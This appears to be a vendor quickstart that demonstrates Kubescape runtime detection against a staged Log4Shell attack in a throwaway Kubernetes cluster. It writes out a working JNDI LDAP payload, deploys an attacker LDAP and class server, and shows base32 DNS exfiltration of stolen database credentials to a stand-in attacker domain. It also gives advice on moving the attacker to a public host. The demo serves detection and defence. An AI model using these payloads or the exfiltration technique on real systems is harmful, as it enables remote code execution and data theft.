Quickstart Software Bill of Behavior (SBOB)
Here, Kubescape uses an SBOB to catch a live Log4Shell RCE — a shell spawned by a JVM worker thread, its pivot and exfiltration children, every one of them outside the workload's declared Software Bill of Behavior:
We published a "harmless" demo of
log4shell — a
frontend → java-backend → postgres deployment, while mocking the external payload and the exfiltration domain.
The attack-chain injects a JNDI via http-header, that gets resolved via an ldap server, to download a jar file into the running jvm to spawn a shell.
Our chain continues to connect to postgres via psql and to exfiltrate the base32 encoded stolen DB-data via DNS.
What you need
- An
amd64throwaway Kubernetes cluster (do NOT use in a real environment). The release-candidate node-agent image is currently amd64-only. helmandkubectl- the dns-mock will configure your core-dns, this is an exfiltration showcase that may leave your cluster misconfigured.
1. Install Kubescape with runtime detection on
You need the Kubescape Node-Agent and Kubescape Storage component
CHART=https://github.com/k8sstormcenter/helm-charts/releases/download/kubescape-operator-1.40.3-sbob-rc4.2/kubescape-operator-1.40.3-sbob-rc4.2.tgz
helm install kubescape "$CHART" \
-n kubescape --create-namespace \
--set capabilities.runtimeObservability=enable \
--set capabilities.runtimeDetection=enable \
--set alertCRD.installDefault=true
Node-agent writes alerts to stdout by default — read them with kubectl logs.
This walkthrough covers various exceptions, you should note that the network alerts often depend on actual resolution.
So R0005 (DNS exfil) and R0011 (Unexpected egress) need an external connection. You can follow along without placing the LDAP and attacker-server
on a public location and read/adapt the CEL rules to understand which rules fire exactly when.
The general pattern is to ensure that a sbob of your-sbob-name exists and to bind
it via a label on each pod
Which build is this
sbob-rc4 is the release candidate that ships the Bill of Behavior features
(wildcards, signing, tamper detection) on the unified ContainerProfile.
Watch for announcements when it becomes GA.
2. Apply the Bill of Behavior — before the app
The profiles are user-defined, so detection is instantly live with no learning period.
Wait for storage before applying profiles
as the ContainerProfile is served by the Kubescape storage aggregated API-server
Gate on storage being ready first:
kubectl -n kubescape rollout status deploy/storage --timeout=180s
kubectl wait --for=condition=Available --timeout=180s \
apiservices/v1beta1.spdx.softwarecomposition.kubescape.io
Then deploy one ContainerProfile per workload for the log4j-demo:
kubectl create namespace log4j-poc
BASE=https://raw.githubusercontent.com/k8sstormcenter/bob/b0a0e7265222eba8646f4900dff59675c6462a30/_artifacts/log4j-sbobs
for w in backend frontend observer postgres; do
kubectl apply -f "$BASE/cp-chain-$w.yaml"
done
# verify they actually landed (4 profiles):
kubectl get containerprofiles -n log4j-poc
Two sections of the java-backend's SBOB are worth highlighting:
# cp-chain-backend.yaml
kind: ContainerProfile
spec:
matchLabels: { app: chain-backend }
execs:
- { path: /opt/java/openjdk/bin/java, args:
["/opt/java/openjdk/bin/java", "-jar", "/app/app.jar"] }
- { path: /usr/bin/curl }
- { path: /usr/bin/psql, args:
["/usr/bin/psql"] } # symlink
# New: node-agent sees the *resolved* path from a symlink
- { path: /usr/lib/postgresql/18/bin/psql,
args: ["/usr/lib/postgresql/18/bin/psql", "⋯⋯"] }
# New: wildcard ⋯⋯ allows any psql arguments.
ingress:
- identifier: ingress-from-frontend
podSelector:
matchLabels: { app: chain-frontend }
ports:
- { name: TCP-8080, port: 8080, protocol: TCP }
egress:
- identifier: egress-kube-dns
podSelector:
matchLabels: { k8s-app: kube-dns }
ports:
- { name: UDP-53, port: 53, protocol: UDP }
- { name: TCP-53, port: 53, protocol: TCP }
- identifier: egress-chain-postgres
podSelector:
matchLabels: { app: chain-postgres }
ports:
- { name: TCP-5432, port: 5432, protocol: TCP }
psql for its connection to the DB.
Egress to postgres is allowed — this java really does query a database. This means, the connection via network from java-backend to postgres
will not be detected as anomaly.
Allowlisting obvious parts of attack for demo
For showcasing various features, we pretend the attacker uses binaries that are marked as intended for the application. A real java implementation
would not use psql.
NEW: Symlinks resolve and list the real binary
Adjacent to our SBOB work, we also decided to resolve symlinked binaries to be able to detect more integrity-issue types in executables.
3. Make the attacker's exfil domain resolvable
R0005 fires on a resolved DNS lookup, and the exfil target (…exfil.attacker.example.com) is a
domain a real attacker would own. Simulate that in-cluster with a CoreDNS override, then reload
CoreDNS so it takes effect:
kubectl apply -f https://raw.githubusercontent.com/k8sstormcenter/bob/b0a0e7265222eba8646f4900dff59675c6462a30/example/log4j-chain/exfil-dns.yaml
kubectl -n kube-system rollout restart deploy/coredns
SKIP this in any non-throwaway cluster- this kaputts dns
4. Deploy the vulnerable app + the attacker
Bring up the whole log4j-poc1, all pods carry the single kubescape.io/user-defined-profile: chain-<workload> label to bind the ContainerProfile from Step 2.
The manifest also includes the attacker: a marshalsec LDAP server and a class-file HTTP server.
kubectl apply -f https://raw.githubusercontent.com/k8sstormcenter/bob/e247f527b830849b3f3a33282479b47b905f7615/example/log4j-chain/log4j-chain.yaml
kubectl -n log4j-poc rollout status deploy/chain-backend --timeout=120s
kubectl -n attacker-ns rollout status deploy/attacker --timeout=60s
There are two non-vulnerable images1, so you can contrast the detection, default is the vulnerable:
# backend container, in log4j-chain.yaml
image: ghcr.io/k8sstormcenter/log4j-chain-backend-vulnerable@sha256:8f3cb3f9… # 3 different backend images, this one is fully vulnerable
5. Fire the exploit
The attack pod sends the classic JNDI payload in a User-Agent header. It lands in log4j-poc:
curl -sL https://raw.githubusercontent.com/k8sstormcenter/bob/b0a0e7265222eba8646f4900dff59675c6462a30/example/log4j-chain/attack-pod.yaml \
| kubectl -n log4j-poc apply -f -
The single line that is the attack:
# attack-pod.yaml
args: [ curl, -s, -A,
'${jndi:ldap://attacker.attacker-ns.svc.cluster.local:1389/Payload}',
'http://frontend:8080/api/products?q=test' ]
For the network rules, point the JNDI at a public LDAP
The in-cluster attacker above is a private ClusterIP, so it triggers the RCE (R0001) but not
R0011 (which skips private targets). To see the full DNS + egress detection, run the attacker on
an external host and point the JNDI at it, e.g.
${jndi:ldap://<public-host>:1389/Payload}. The demo's attacker image takes the codebase host as
an env var (CODEBASE_HOST), so it can run anywhere. AT YOUR OWN RISK
6. See the detection
Read the raw alerts
kubectl -n kubescape logs -l app=node-agent --tail=200 | grep '"RuleID":"R' \
| jq -c '{RuleID, alertName: .BaseRuntimeMetadata.alertName, args: .BaseRuntimeMetadata.arguments}'
R0001 — unexpected process log4shell
The alert's process tree is a very clean detection on what was attempted:
{"RuleID":"R0001","alertName":"Unexpected process launched","exec":"/bin/sh","comm":"sh","pcomm":"pool-2-thread-2"}
{"RuleID":"R0001","alertName":"Unexpected process launched","exec":"/usr/bin/base32","comm":"base32","pcomm":"sh"}
{"RuleID":"R0001","alertName":"Unexpected process launched","exec":"/usr/bin/tr","comm":"tr","pcomm":"sh"}
{"RuleID":"R0001","alertName":"Unexpected process launched","exec":"/usr/bin/cut","comm":"cut","pcomm":"sh"}
{"RuleID":"R0001","alertName":"Unexpected process launched","exec":"/usr/bin/getent","comm":"getent","pcomm":"sh"}
Not every executable in the process tree is actually executed
Careful when reading these alerts, only the uppermost process is the one eBPF saw with exec_cve. It may have further forks (-c) but if you dont see
those alerting, they may still have failed. Test this yourself with the patched and the distroless image1
R0005 — data exfiltration over DNS
getent performs a DNS lookup, and the hostname it queries is the stolen data:
{"RuleID":"R0005","alertName":"DNS Anomalies in container",
"domain":"OBXXG5DHOJSXGOTQN5ZXIZ3SMVZQ.exfil.attacker.example.com.","protocol":"UDP","port":39361}
Decode — echo OBXXG5DHOJSXGOTQN5ZXIZ3SMVZQ | base32 -d postgres:postgres
R0011 Outbound LDAP
The JNDI string needs to resolve an outbound LDAP + HTTP to fetch the exploit class for Log4j
R0011 skips private targets. The in-cluster attacker is a ClusterIP (RFC-1918), so put the attacker on an external/public host
and point the JNDI there — the demo
attacker image has an ENV var CODEBASE_HOST, so it runs anywhere:
With both in place, the two Log4Shell stages show up as out-of-profile egress — the LDAP referral and
the Payload.class download:
{"RuleID":"R0011","alertName":"Unexpected Egress Network Traffic","ip":"<attacker>","port":1389,"proto":"TCP"}
{"RuleID":"R0011","alertName":"Unexpected Egress Network Traffic","ip":"<attacker>","port":8888,"proto":"TCP"}
If the JNDI targets an IP rather than a hostname there's no LDAP DNS lookup — the call-out is pure TCP, carried by R0011 rather than R0005.
Next
- What is a Software Bill of Behavior — the concept that lets you ship a profile instead of learning one.
- Node Agent Rule Library — the full catalog of detection rules.
- Signing and Tampering - how to make sure the profiles and rules are safe.
